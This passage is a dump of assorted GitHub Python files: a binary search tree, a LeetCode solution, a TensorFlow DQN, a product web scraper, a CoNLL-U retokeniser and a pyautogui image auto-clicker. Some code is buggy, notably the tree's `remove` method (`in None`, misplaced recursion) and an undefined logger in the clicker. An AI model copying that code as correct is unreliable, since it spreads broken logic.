self.insert(x)\r\n\r\n    def contains(self, value: Any) -> bool:\r\n        node = self.root\r\n        while node is not None:\r\n            if value == node.value:\r\n                return True\r\n            if value < node.value:\r\n                node = node.left_child\r\n            else:\r\n                node = node.right_child\r\n        return False\r\n\r\n    def remove(self, value: Any) -> None:\r\n        self.root = self._remove(self.root, value)\r\n\r\n    def _remove(self, node: BinaryNode, value: Any) -> BinaryNode:\r\n        if value == node.value:\r\n            if node.left_child is None and node.right_child is None:\r\n                return None\r\n            if node.left_child is None:\r\n                return node.right_child\r\n            if node.right_child in None:\r\n                return node.left_child\r\n            node.value = node.min()\r\n            node.right_child = node._remove(node.right_child, value)\r\n            if value < node.value:\r\n                node.left_child = node._remove(node.left_child, value)\r\n            if value > node.value:\r\n                node.right_child = node._remove(node.right_child, value)\r\n            return node\r\n\r\n    def show(self) -> None:\r\n        tree = graphviz.Digraph(name='Drzewo')\r\n        stack = [self.root]\r\n        while stack:\r\n            node = stack.pop()\r\n            if node is not None:\r\n                if node.left_child is not None:\r\n                    tree.edge(str(node.value), str(node.left_child.value))\r\n                    stack.append(node.left_child)\r\n                if node.right_child is not None:\r\n                    tree.edge(str(node.value), str(node.right_child.value))\r\n                    stack.append(node.right_child)\r\n        tree.render('tree.gv', view=True)\r\n\r\ndrzewo: BinarySearchTree = BinarySearchTree(BinaryNode(8))\r\n\r\ndrzewo.insert(3)\r\ndrzewo.insert(10)\r\ndrzewo.insert(1)\r\ndrzewo.insert(6)\r\ndrzewo.insert(4)\r\ndrzewo.insert(7)\r\ndrzewo.insert(14)\r\ndrzewo.insert(13)\r\n\r\n\r\ndrzewo.show()\r\n\r\n","repo_name":"Zaczek23347/AISD164448","sub_path":"projekt_binarytree/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"23134261412","text":"from typing import List\n\n\nclass Solution:\n    def maxTurbulenceSize(self, arr: List[int]) -> int:\n        # 如果比较符号在子数组中的每个相邻元素对之间翻转，则该子数组是湍流子数组。\n        N = len(arr)\n        up = [1] * N\n        down = [1] * N\n        res = 1\n        for i in range(1, N):\n            if arr[i - 1] < arr[i]:\n                up[i] = down[i - 1] + 1\n            elif arr[i - 1] > arr[i]:\n                down[i] = up[i - 1] + 1\n            res = max(res, max(up[i], down[i]))\n        return res\n\n\nret = Solution()\n# print(ret.maxTurbulenceSize([9, 4, 2, 10, 7, 8, 8, 1, 9]))\nprint(ret.maxTurbulenceSize([4, 8, 12, 16]))\n","repo_name":"chengcct/Algorithmic-exercises","sub_path":"leetcode/978. 最长湍流子数组.py","file_name":"978. 最长湍流子数组.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"1689075519","text":"import numpy as np\nimport pandas as pd\nimport random\nimport pickle\nimport os.path\nimport threading\n\nimport tensorflow as tf\nimport os\n\nfrom utils import ParamsBase\n\nfrom multiprocessing import Lock\nfrom utils import EmptyLock\n\n\n# dqn params\nclass ORIG_PARAMS(ParamsBase):\n    def __init__(self, frameSize, gameVarsSize, numActions, discountFactor=0.99, batchSize = 64, maxReplaySize = 10000, minReplaySize = 64, \n                learning_rate=0.00025, numTrials2CmpResults=1000, outputGraph=True, accumulateHistory=True, numTrials2Learn=None, numTrials2Save=100):\n\n        super(ORIG_PARAMS, self).__init__(frameSize=frameSize, gameVarsSize=gameVarsSize,numActions=numActions, discountFactor=discountFactor, numTrials2Learn=numTrials2Learn,\n                                        numTrials2Save=numTrials2Save, maxReplaySize=maxReplaySize, minReplaySize=minReplaySize, accumulateHistory=accumulateHistory)\n        \n\n        self.learning_rate = learning_rate\n        self.batchSize = batchSize\n        self.epochSize = batchSize\n\n        self.type = \"orig\"\n        self.numTrials2CmpResults = numTrials2CmpResults\n        self.outputGraph = outputGraph\n        self.normalizeState = False\n\nclass ORIG_MODEL:\n    def __init__(self, modelParams, nnName, nnDirectory, isMultiThreaded = False, agentName = \"\"):\n        # Create the input variables\n        self.params = modelParams\n\n        self.summaryDirectoryName = \"./logs\" + nnDirectory.replace(\".\", \"\") + \"/\"\n        self.directoryName = nnDirectory + nnName\n        self.agentName = agentName\n\n        self.states = tf.placeholder(tf.float32, [None] + list(modelParams.stateSize) + [1], name=\"State\")\n        self.actions = tf.placeholder(tf.int32, [None], name=\"Action\")\n        self.target_q = tf.placeholder(tf.float32, [None, modelParams.numActions], name=\"TargetQ\")\n\n        self.numRuns =tf.get_variable(\"numRuns\", shape=(), initializer=tf.zeros_initializer(), dtype=tf.int32)\n\n        # Add 2 convolutional layers with ReLu activation\n        conv1 = tf.contrib.layers.convolution2d(self.states, num_outputs=8, kernel_size=[6, 6], stride=[3, 3],\n                                                activation_fn=tf.nn.relu,\n                                                weights_initializer=tf.contrib.layers.xavier_initializer_conv2d(),\n                                                biases_initializer=tf.constant_initializer(0.1))\n        conv2 = tf.contrib.layers.convolution2d(conv1, num_outputs=8, kernel_size=[3, 3], stride=[2, 2],\n                                                activation_fn=tf.nn.relu,\n                                                weights_initializer=tf.contrib.layers.xavier_initializer_conv2d(),\n                                                biases_initializer=tf.constant_initializer(0.1))\n        conv2_flat = tf.contrib.layers.flatten(conv2)\n        fc1 = tf.contrib.layers.fully_connected(conv2_flat, num_outputs=128, activation_fn=tf.nn.relu,\n                                                weights_initializer=tf.contrib.layers.xavier_initializer(),\n                                                biases_initializer=tf.constant_initializer(0.1))\n\n        \n        self.output = tf.contrib.layers.fully_connected(fc1, num_outputs=modelParams.numActions, activation_fn=None,\n                                            weights_initializer=tf.contrib.layers.xavier_initializer(),\n                                            biases_initializer=tf.constant_initializer(0.1))\n        self.bestAction = tf.argmax(self.output, 1)\n\n        self.loss = tf.losses.mean_squared_error(self.output, self.target_q)\n\n        optimizer = tf.train.RMSPropOptimizer(modelParams.learning_rate)\n        # Update the parameters according to the computed gradient using RMSProp.\n        self.train_step = optimizer.minimize(self.loss)\n\n    def InitModel(self, session, resetModel=False):\n        self.sess = session\n\n        if self.params.outputGraph:\n            # $ tensorboard --logdir=logs/directory\n            tf.summary.FileWriter(self.summaryDirectoryName, self.sess.graph)\n\n        self.init_op = tf.global_variables_initializer()\n        self.sess.run(self.init_op)  \n\n        self.saver = tf.train.Saver()\n        fnameNNMeta = self.directoryName + \".meta\"\n        if os.path.isfile(fnameNNMeta) and not resetModel:\n            self.saver.restore(self.sess, self.directoryName)\n            loadedDM = True\n        else:\n            self.Save()\n            loadedDM = False\n        \n        return loadedDM\n\n    def NumRuns(self):\n        return self.numRuns.eval(session = self.sess)\n\n    def Save(self, numRuns2Save = None, toPrint = True):\n        self.saver.save(self.sess, self.directoryName)\n        numRuns2Save = self.NumRuns()\n\n        if toPrint:\n            print(\"\\n\\t\", threading.current_thread().getName(), \" : \", self.agentName, \"->save dqn with\", numRuns2Save, \"runs to:\", self.directoryName)\n\n\n    def StatesValue(self, states, size):\n        return self.sess.run(self.output, feed_dict={self.states: states.reshape(size, self.params.stateSize[0], self.params.stateSize[1], 1)})\n\n    def choose_action(self, state, validActions, targetValues=False):\n        values = self.sess.run(self.output, feed_dict={self.states: state.reshape(1, self.params.stateSize[0], self.params.stateSize[1], 1)})[0]\n        \n        filteredActions = values.copy()\n        filteredActions.fill(np.nan)\n        \n        filteredActions[validActions] = values[validActions]\n        \n        action = np.nanargmax(filteredActions)\n\n        return action\n\n\n\n\n    def learn(self, s, a, r, s_, terminal, numToLearn=None):\n        \"\"\" Learns from a single transition (making use of replay memory).\n        s2 is ignored if s2_isterminal \"\"\"\n\n        # Get a random minibatch from the replay memory and learns from it.\n        size = len(a)\n\n        qNext = np.max(self.StatesValue(s_, size), axis=1)\n        target_q = self.StatesValue(s, size)\n        # target differs from q only for the selected action. The following means:\n        # target_Q(s,a) = r + gamma * max Q(s2,_) if not isterminal else r\n        target_q[np.arange(target_q.shape[0]), a] = r + self.params.discountFactor * (1 - terminal) * qNext\n        feed_dict = {self.states: s.reshape(size, self.params.stateSize[0], self.params.stateSize[1], 1), \n                    self.target_q: target_q}\n        l, _ = self.sess.run([self.loss, self.train_step], feed_dict=feed_dict)\n\n    def DecisionMakerType(self):\n        return \"orig\"\n\n    def TakeDfltValues(self):\n        return False\n    \n    def end_run(self, reward):\n        assign = self.numRuns.assign_add(1)\n        self.sess.run(assign)\n        self.Save(toPrint=False)\n\n    def Reset(self):\n        self.sess.run(self.init_op) \n\n    def DiscountFactor(self):\n        return self.params.discountFactor\n","repo_name":"natangold85/IAIAI_RL_vizdoom","sub_path":"algo_orig.py","file_name":"algo_orig.py","file_ext":"py","file_size_in_byte":6803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"71572606452","text":"#python program to extract digits from tuple list.\r\n\r\n\r\n#Sometimes, while working with Python lists, we can have a problem in which we need to perform extraction of all the digits from tuple list. This kind of problem can find its application in data domains and day-day programming. Let’s discuss certain ways in which this task can be performed.\r\n\r\n#Input : test_list = [(15, 3), (3, 9)] \r\n#Output : [9, 5, 3, 1]\r\n\r\n#Input : test_list = [(15, 3)] \r\n#Output : [5, 3, 1] \r\n\r\n\r\n\r\n#Method #1: Using map() + chain.from_iterable() + set() + loop \r\n#The combination of above functions can be used to solve this problem. In this, we perform the task of flattening list using chain.from_iterable(), and then the digits are extracted using brute method. set() is used to remove duplicate digits.\r\n# Python3 code to demonstrate working of\r\n# Extract digits from Tuple list\r\n# Using map() + chain.from_iterable() + set() + loop\r\nfrom itertools import chain\r\n \r\n# initializing list\r\ntest_list = [(15, 3), (3, 9), (1, 10), (99, 2)]\r\n \r\n# printing original list\r\nprint(\"The original list is : \" + str(test_list))\r\n \r\n# Extract digits from Tuple list\r\n# Using map() + chain.from_iterable() + set() + loop\r\ntemp = map(lambda ele: str(ele), chain.from_iterable(test_list))\r\nres = set()\r\nfor sub in temp:\r\n    for ele in sub:\r\n        res.add(ele)\r\n \r\n# printing result\r\nprint(\"The extracted digits : \" + str(res))\r\n\r\n\r\n\r\n\r\n#Method #2: Using regex expression \r\n#This is yet another way in which this task can be performed. In this, an appropriate regex expression is used to extract the required unique digits.\r\n\r\n# Python3 code to demonstrate working of\r\n# Extract digits from Tuple list\r\n# Using regex expression\r\nimport re\r\n \r\n# initializing list\r\ntest_list = [(15, 3), (3, 9), (1, 10), (99, 2)]\r\n \r\n# printing original list\r\nprint(\"The original list is : \" + str(test_list))\r\n \r\n# Extract digits from Tuple list\r\n# Using regex expression\r\ntemp = re.sub(r'[\\[\\]\\(\\), ]', '', str(test_list))\r\nres = [int(ele) for ele in set(temp)]\r\n \r\n# printing result\r\nprint(\"The extracted digits : \" + str(res))\r\n\r\n\r\n#Method #3: Using list(),str(),map(),set() methods .\r\n\r\n#Initially converted all elements of tuple to string and concatenated them.Later used set() method to remove the duplicates, converted string elements to integer elements and finally converted them to list datatype.\r\n\r\n# Python3 code to demonstrate working of\r\n# Extract digits from Tuple list\r\n \r\n# initializing list\r\ntest_list = [(15, 3), (3, 9), (1, 10), (99, 2)]\r\n \r\n# printing original list\r\nprint(\"The original list is : \" + str(test_list))\r\nx=\"\"\r\n# Extract digits from Tuple list\r\nfor i in test_list:\r\n    for j in i:\r\n        x+=str(j)\r\nres=list(map(int,set(x)))\r\n# printing result\r\nprint(\"The extracted digits : \" + str(res))\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n","repo_name":"hackerbotsupreme/python-coding-job","sub_path":"tuple problems/problem19.py","file_name":"problem19.py","file_ext":"py","file_size_in_byte":2801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"9422930519","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('main', '0002_remove_resume_input_greetings'),\n    ]\n\n    operations = [\n        migrations.AddField(\n            model_name='resume_input',\n            name='fbid',\n            field=models.CharField(max_length=1000, null=True),\n            preserve_default=True,\n        ),\n    ]\n","repo_name":"kohlishivam/resume-downloader","sub_path":"main/migrations/0003_resume_input_fbid.py","file_name":"0003_resume_input_fbid.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"28123041090","text":"\nfrom bs4 import BeautifulSoup as bs\nimport pandas as pd\nimport requests\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium import webdriver\nfrom webdriver_manager.chrome import ChromeDriverManager\nimport re\nfrom tqdm import tqdm\n\ncategoryList = ['sound','lighting','special-effects','ancillary', 'video']\noriginalUrl = 'https://www.leisuretec.co.uk/category/'\nheaders = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36'}\n#path = \"C:/Program Files (x86)/chromedriver.exe\"\n#driver = webdriver.Chrome(path)\n\ndfLeisureTec = pd.DataFrame()\n\nfor category in categoryList:\n    shopUrl = originalUrl + category\n    shopHtml = requests.get(shopUrl)\n    bSoup = bs(shopHtml.text,'lxml')\n    subCategories = bSoup.find_all('a',{'class':'listing-link'})\n    for subCat in tqdm(subCategories):\n        subCatHtml = requests.get('https://www.leisuretec.co.uk' + subCat['href'])\n        subCatSoup = bs(subCatHtml.text,'lxml')\n        subSubCategories = subCatSoup.find_all('a',{'class':'listing-link'})\n        try:\n            for subSubCat in subSubCategories:\n                subSubHtml = requests.get('https://www.leisuretec.co.uk' + subSubCat['href'])\n                subSubSoup = bs(subSubHtml.text,'lxml')\n                products = subSubSoup.find_all('a',{'class':'product-page-link'})\n                for product in products:\n                    prodUrl = 'https://www.leisuretec.co.uk' + product['href']\n                    productHtml = requests.get(('https://www.leisuretec.co.uk' + product['href']))\n                    #driver.set_page_load_timeout(30)\n                    #driver.get(prodUrl)\n                    productSoup = bs(productHtml.text,'lxml')\n                    manual = productSoup.find('a',{'class':'product-page-information-attachments-list-item-link'})['href']\n                    image = 'https://www.leisuretec.co.uk' + productSoup.find('img',{'id':'main-img'})['src']\n                    rrp = productSoup.find('div',{'class':'product-page-price'}).get_text()\n                    brands = productSoup.find_all('dt')\n                    for brand in brands:\n                        if 'Brand' in brand.get_text():\n                            productBrand = brand.find_next('dd').get_text()\n                        if 'Code' in brand.get_text():\n                            mpn = brand.find_next('dd').get_text()\n                    nameDivs = productSoup.find_all('div', {'class':'col-xs-12'})\n                    for nameDiv in nameDivs:\n                        if nameDiv.findChild('h1'):\n                            productName = nameDiv.findChild('h1').get_text()\n                    descDiv = productSoup.find('div', {'class':'product-page-information-bulletpoints-container'}).findChild('ul')\n                    description = descDiv.get_text()\n                    #specDiv = productSoup.find('div', {'class':'product-page-tabs-tab-pane-container'}).findChild('ul')\n                    #specs = specDiv.get_text()\n                    #manualLink = productSoup.find('a',{'class':'product-page-information-attachments-list-item-link'})['href']\n                    #print(productSoup.find_all('li',{'class':'product-page-tabs-list-item'})['href'])\n                    scrapDict = {'Link':'https://www.leisuretec.co.uk' + product['href'], 'brand':productBrand, 'productName':productName,'RRP':rrp, 'mpn':mpn, 'Description':description,'image':image, 'manual':manual}\n                    dfLeisureTec = dfLeisureTec.append(scrapDict, ignore_index=True)\n                    dfLeisureTec.to_excel('LeisureTec v2.xlsx',index=False)\n                \n        except Exception as e:\n            print(e)\n            continue\ndfLeisureTec.to_excel('LeisureTec v2.xlsx',index=False)\n\n","repo_name":"BoazPerlov/SpecifiScraping","sub_path":"Archive/Distro Scraping/Leisuretech Scraping/leisuretecScraper.py","file_name":"leisuretecScraper.py","file_ext":"py","file_size_in_byte":3843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74513494132","text":"import os\nimport codecs\n\n# version 2_10\nud_files_map_2_10 = {}\n# ud_files_map_2_10[\"amh\"]=\"UD_Amharic-ATT/am_att-ud-test.conllu\"  #####\n# ud_files_map_2_10[\"ind\"]=\"UD_Indonesian-GSD/id_gsd-ud-test.conllu\" #######\n# ud_files_map_2_10[\"pes\"]=\"UD_Persian-Seraji/fa_seraji-ud-test.conllu\" ####\n# ud_files_map_2_10[\"por\"]=\"UD_Portuguese-Bosque/pt_bosque-ud-test.conllu\" ###\n# ud_files_map_2_10[\"tur\"]=\"UD_Turkish-IMST/tr_imst-ud-test.conllu\" #####        \n# ud_files_map_2_10[\"glv\"]=\"UD_Manx-Cadhan/gv_cadhan-ud-test.conllu\" ###\n# ud_files_map_2_10[\"mar\"]=\"UD_Marathi-UFAL/mr_ufal-ud-test.conllu\" ####\n# ud_files_map_2_10[\"yor\"]=\"UD_Yoruba-YTB/yo_ytb-ud-test.conllu\" ####\nud_files_map_2_10[\"myv\"]=\"UD_Erzya-JR/myv_jr-ud-test.conllu\"\n\nud_directory = '/nfs/datx/UD/v2_10/ud-treebanks-v2.10'\nud_files = list(ud_files_map_2_10.values())\nversion = 'v2_10'\n\n\n# version 2_5\n# ud_directory = '/nfs/datx/UD/v2_5/'\n# ud_files = ['myv_jr-ud-test_2_5.conllu', 'mr_ufal-ud-test_2_5.conllu', 'gv_cadhan-ud-test_2_7.conllu', 'am_att-ud-test_2_5.conllu', \n#             'pt_bosque-ud-test_2_5.conllu', 'fa_seraji-ud-test_2_5.conllu', 'tr_imst-ud-test_2_5.conllu', 'id_gsd-ud-test_2_5.conllu'] #Erzya, marathi, manx\n# version = 'v2_5'\n\n# # version 2_3\n# ud_directory = \"/nfs/datx/UD/v2_3/\"\n# ud_files = [ \"am_att-ud-test_2_3.conllu\", \"pt_pud-ud-test_2_3.conllu\", \"myv_jr-ud-test_2_3.conllu\", \"tr_pud-ud-test_2_3.conllu\", \"yo_ytb-ud-test_2_3.conllu\", \n#             'id_pud-ud-test_2_3.conllu']\n# version = 'v2_3'\n\n\n# # version 2\n# ud_directory = \"/nfs/datx/UD/v2_0/\"\n# ud_files = [\"pt-ud-test_2_0.conllu\"]\n# version = 'v2_0'\n\n# # version 1_2\n# ud_directory = \"/nfs/datx/UD/v1_2/universal-dependencies-1.2/\"\n# ud_files = [\"UD_Persian/fa-ud-test.conllu\", \"UD_Portuguese/pt-ud-test.conllu\"]\n# version = 'v1_2'\n\nout_directory = '/mounts/data/proj/ayyoob/POS_tagging/dataset/UD'\n\n\nif not os.path.exists(f'{out_directory}/{version}/'):\n    os.makedirs(f'{out_directory}/{version}/')\n\nclass Node:\n    def __init__(self, number, parent_number, is_dependent, text, pos_tag, dependency_groups, actual_words):\n        self.number = number\n        self.parent_number = parent_number\n        self.is_dependent = is_dependent\n        self.text = text\n        self.pos_tag = pos_tag\n        self.parent = None\n        \n        if self.is_dependent:\n            self.dependency_group = dependency_groups[-1]\n            self.text = actual_words[-1]\n\n        self.distance_to_head = -1\n\n    def _get_distance_to_head(self):\n        res = 0\n        tmp_n = self\n        while tmp_n.parent != None:\n            tmp_n = tmp_n.parent\n            res += 1\n\n        return res\n\n    def get_distance_to_head(self):\n        if self.distance_to_head == -1:\n            self.distance_to_head = self._get_distance_to_head()\n        \n        return self.distance_to_head\n\ndef create_tree(all_nodes):\n    for node in all_nodes:\n        if node.parent_number != 0:\n            node.parent = all_nodes[node.parent_number-1]\n\ndef is_head_node(node, all_nodes):\n    min_nom = 999999999\n    head = None\n    for node_nom in node.dependency_group:\n        tmp_n = all_nodes[node_nom-1]\n        if tmp_n.get_distance_to_head() < min_nom:\n            min_nom = tmp_n.get_distance_to_head()\n            head = tmp_n\n    \n    if head == node:\n        return True\n    return False\n\ndef process_sentence(all_nodes, out_file, sent_id_line=None, text_line=None):\n    if sent_id_line != None:\n        fo.write(f'{sent_id_line}\\n')\n    if text_line != None:\n        fo.write(f'{text_line}\\n')\n\n    create_tree(all_nodes)\n\n    for node in all_nodes:\n        if (not node.is_dependent) or is_head_node(node, all_nodes):\n            fo.write(f'{node.number}\\t{node.text}\\t{node.text}\\t{node.pos_tag}\\n')\n\n    fo.write('\\n')\n\n\ndef process_line(all_nodes, line, multi_word_groups, actual_words):\n    splits = line.split()\n    if '-' in splits[0]:\n        beginning = int(splits[0].split('-')[0])\n        end = int(splits[0].split('-')[1])\n        multi_word_groups.append(list(range(beginning, end+1)))\n        actual_words.append(splits[1])\n        return\n    \n    node_nom = int(splits[0])\n    is_dependent = False\n    if len(multi_word_groups) > 0 and node_nom in multi_word_groups[-1]:\n        is_dependent = True\n    parent_number = int(splits[6])\n\n    node = Node(node_nom, parent_number,is_dependent, splits[1], splits[3], multi_word_groups, actual_words)\n    all_nodes.append(node)\n\nfor ud_file in ud_files:\n    ud_path = f'{ud_directory}/{ud_file}'\n    with codecs.open(ud_path, 'r', 'utf-8') as fi, codecs.open(f'{out_directory}/{version}/{ud_file.split(\"/\")[-1]}', 'w', 'utf-8') as fo:\n\n        all_nodes = []\n        multi_word_groups = []\n        actual_words = []\n        sent_id_line = None\n        text_line = None\n        for line in fi:\n            line = line.strip()\n            \n            if line.startswith('#'):\n                if line.startswith('# sent_id'):\n                    sent_id_line = line\n                if line.startswith('# text'):\n                    text_line = line\n                continue\n            if line == '':\n                process_sentence(all_nodes, fo, sent_id_line, text_line)\n                all_nodes = []\n                multi_word_groups = []\n                actual_words = []\n                continue\n            \n            process_line(all_nodes, line, multi_word_groups, actual_words)\n            \n","repo_name":"ayyoobimani/GNN-POSTAG","sub_path":"app/fix_UD_tokenization.py","file_name":"fix_UD_tokenization.py","file_ext":"py","file_size_in_byte":5390,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"33551162498","text":"## $python 画像自動Click ##\n# 設定したフォルダ内の画像を順番に画面表示から探し、クリックする。\nimport time\nimport datetime\nimport sys\nimport os\nimport pyautogui\nimport PIL\nimport cv2\nimport glob\nimport subprocess\nimport signal\nimport enum\nimport datetime\nimport dataclasses\n\nsys.path.append(\"../Common\")\nsys.path.append(\"../../Common\")\nimport Rename\nimport Log\nimport JSON_Control\n\nclass END_ACTION(enum.Enum):\n    BREAK = 0\n    FOLDER_END_BREAK = 1\n    CONTINUE = 2\n\nclass RESULT(enum.Enum):\n    NONE = -1\n    NG = 0\n    OK = 1\n    ALL_OK = 2\n\nclass ACTION(enum.Enum):\n    NONE = 0\n    CLICK = 1\n    DOUBLE_CLICK = 2\n\nclass DATA_TYPE(enum.Enum):\n    ENUM = 0\n    BOOL = 1\n    NUMBER = 2\n    FLOAT = 3\n    STRING = 4\n\nclass RUN_STATUS(enum.Enum):\n    INITIAL = 0\n    RUN = 1\n    SETUP = 2\n    CYCLE_STOP = 3\n    STOP = 4\n    PAUSE = 5\n\nenum_dictionary={\n    \"END_ACTION.BREAK\":END_ACTION.BREAK,\n    \"END_ACTION.FOLDER_END_BREAK\":END_ACTION.FOLDER_END_BREAK,\n    \"END_ACTION.CONTINUE\": END_ACTION.CONTINUE,\n    \"RESULT.NONE\":RESULT.NONE,\n    \"RESULT.NG\":RESULT.NG,\n    \"RESULT.OK\":RESULT.OK,\n    \"RESULT.ALL_OK\": RESULT.ALL_OK,\n    \"ACTION.NONE\":ACTION.NONE,\n    \"ACTION.CLICK\":ACTION.CLICK,\n    \"ACTION.DOUBLE_CLICK\":ACTION.DOUBLE_CLICK,\n    \"RUN_STATUS.INITIAL\":RUN_STATUS.INITIAL,\n    \"RUN_STATUS.RUN\":RUN_STATUS.RUN,\n    \"RUN_STATUS.SETUP\":RUN_STATUS.SETUP,\n    \"RUN_STATUS.CYCLE_STOP\":RUN_STATUS.CYCLE_STOP,\n    \"RUN_STATUS.STOP\":RUN_STATUS.STOP,\n    \"RUN_STATUS.PAUSE\":RUN_STATUS.PAUSE\n    }\n\n# log関係\nmessage_list = []\nlogfile_path = os.path.dirname(__file__)+'/../../Log/log.txt'\n\n@dataclasses.dataclass\nclass RecognitionInformation:\n    action : ACTION \n    end_condition : RESULT \n    end_action : END_ACTION\n    execute_number : int =0\n    retry_number : int =0 \n    image_path : str = \"\"\n    interval_time : float = 0.1\n    recognition_confidence : float = 1.0\n    recognition_gray_scale : float = 0\n    x_offset_dictionary : dict = None\n    y_offset_dictionary : dict = None\n    def __init__(\n        self,\n        action=ACTION.NONE , \n        end_condition=RESULT.OK ,\n        end_action = END_ACTION.CONTINUE,\n        execute_number = 0,\n        retry_number = 0, \n        image_path = \"\",\n        interval_time = 0.1,\n        recognition_confidence =1.0, \n        recognition_gray_scale = 0\n        ):\n        self.Set_Settings(action, end_condition, end_action, execute_number, retry_number, image_path, interval_time, recognition_confidence, recognition_gray_scale)\n        \n        self.settings_initial_dictionary={}\n\n    def Set_Settings(self, action, end_condition, end_action, execute_number, retry_number, image_path, interval_time, recognition_confidence, recognition_gray_scale):\n        # 処理\n        self.action = action\n        # 終了条件\n        self.end_condition = end_condition\n        # 実行回数\n        self.execute_number = execute_number\n        # 再試行回数\n        self.retry_number = retry_number\n        # 終了処理\n        self.end_action = end_action\n        # クリックする画像を保存するフォルダ\n        self.image_path = image_path\n        # 画像をClickした後の待ち時間(秒)\n        self.interval_time = interval_time\n        # 画像認識のあいまい設定\n        self.recognition_confidence = recognition_confidence\n        # GrayScale設定(高速化)\n        self.recognition_gray_scale = recognition_gray_scale\n        # dictionary_settings\n\n#Dictionaryで設定したい時と個別設定値で設定したい場合がある。\n@dataclasses.dataclass\nclass Recognition:\n    setting:RecognitionInformation\n    #settings_dictionary : dict={}\n\n    def __init__(self, input_dictionary = {}):\n        #self.setting=RecognitionInformation(**input_dictionary)\n        self.Set_BySettingsDictionary(input_dictionary)\n\n    def Get_SettingsDictionary(self , recognition_information=None):\n        data = RecognitionInformation()\n        if recognition_information==None:\n            data = self.setting\n        else:\n            data = recognition_information\n        #ENUMがDictionaryで使えないのでasdictは使えない。\n        #settings_dictionary = dataclasses.asdict(data)\n        settings_dictionary={\n            \"action\" : self.Set_StringData(data.action,DATA_TYPE.STRING),\n            \"end_condition\" : self.Set_StringData(data.end_condition,DATA_TYPE.ENUM),\n            \"execute_number\" : int(data.execute_number),\n            \"retry_number\": int(data.retry_number),\n            \"end_action\" : self.Set_StringData(data.end_action,DATA_TYPE.ENUM),\n            \"image_path\" : self.Set_StringData(data.image_path,DATA_TYPE.STRING),\n            \"interval_time\" : float(data.interval_time),\n            \"recognition_confidence\" : float(data.recognition_confidence),\n            \"recognition_gray_scale\" : float(data.recognition_gray_scale)\n        }\n        return settings_dictionary\n\n    def Set_BySettingsDictionary(self,input_dictionary):\n        action = self.Get_Data(\"action\",DATA_TYPE.ENUM,input_dictionary)\n        end_condition = self.Get_Data(\"end_condition\",DATA_TYPE.ENUM,input_dictionary)\n        execute_number = self.Get_Data(\"execute_number\",DATA_TYPE.NUMBER,input_dictionary)\n        retry_number = self.Get_Data(\"retry_number\",DATA_TYPE.NUMBER,input_dictionary)\n        end_action = self.Get_Data(\"end_action\",DATA_TYPE.ENUM,input_dictionary)\n        image_path = self.Get_Data(\"image_path\",DATA_TYPE.STRING,input_dictionary)\n        interval_time = self.Get_Data(\"interval_time\",DATA_TYPE.NUMBER,input_dictionary)\n        recognition_confidence = self.Get_Data(\"recognition_confidence\",DATA_TYPE.FLOAT,input_dictionary)\n        recognition_gray_scale = self.Get_Data(\"recognition_gray_scale\",DATA_TYPE.FLOAT,input_dictionary)\n        self.setting = RecognitionInformation(action, end_condition, end_action, execute_number, retry_number, image_path, interval_time, recognition_confidence, recognition_gray_scale)\n\n    def Get_Data(self, data_name, data_type=DATA_TYPE.ENUM, data_dictionary={} ,default_value=\"\"):\n        message=\"Get_Data_Start\"\n        detail_dictionary = {\"data_name\" : data_name}\n        self.logger.log(message, \"DEBUG\", details=detail_dictionary)\n          \n        data_type_mapping = {\n            DATA_TYPE.ENUM: lambda x: enum_dictionary.get(data_dictionary.get(x,\"\")),\n            #DATA_TYPE.ENUM: enum_dictionary[data_dictionary.get(data_name,0)],\n            DATA_TYPE.NUMBER: lambda x:str(data_dictionary[x]),\n            DATA_TYPE.BOOL : lambda x: data_dictionary[x],\n            DATA_TYPE.STRING : lambda x: str(data_dictionary[x])\n        }\n        \n        if data_type in data_type_mapping:\n            try:\n\n                parameter_value = data_type_mapping[data_type](data_name)\n                message = \"Get_Data_Result\"\n                detail_dictionary = {\n                    \"data_name\": data_name,\n                    \"data_value\": str(parameter_value)\n                }\n                self.logger.log(message, \"DEBUG\", details = detail_dictionary)\n                return parameter_value\n            except:\n                return default_value\n            \n        else:\n            return str(data_dictionary.get(data_name,\"\"))\n        \n    def Get_Enum(self,data_name,data_dictionary):\n        value = data_dictionary.get(data_name,0)\n        print(value)\n        return enum_dictionary[value]\n\n    def Set_StringData(self,data,data_type=\"\"):\n        if data_type == DATA_TYPE.ENUM:\n            return str(data)\n            #return END_ACTION(data).name\n        elif data_type == DATA_TYPE.NUMBER:\n            return str(data)\n        elif data_type == DATA_TYPE.FLOAT:\n            return str(data)\n        elif data_type == DATA_TYPE.STRING:\n            return str(data)\n        else:\n            return str(data)\n\n    def CheckSettingsDictionary(self,input_dictionary):\n        result_type = {}\n        result_type[\"action\"] = type(input_dictionary[\"action\"])\n        result_type[\"end_condition\"] = type(input_dictionary[\"end_condition\"])\n        result_type[\"end_action\"] = type(input_dictionary[\"end_action\"])\n        result_type[\"execute_number\"] = type(input_dictionary[\"execute_number\"])\n        result_type[\"retry_number\"] = type(input_dictionary[\"retry_number\"])\n        result_type[\"image_path\"] = type(input_dictionary[\"image_path\"])\n        result_type[\"interval_time\"] = type(input_dictionary[\"interval_time\"])\n        result_type[\"recognition_confidence\"] = type(input_dictionary[\"recognition_confidence\"])\n        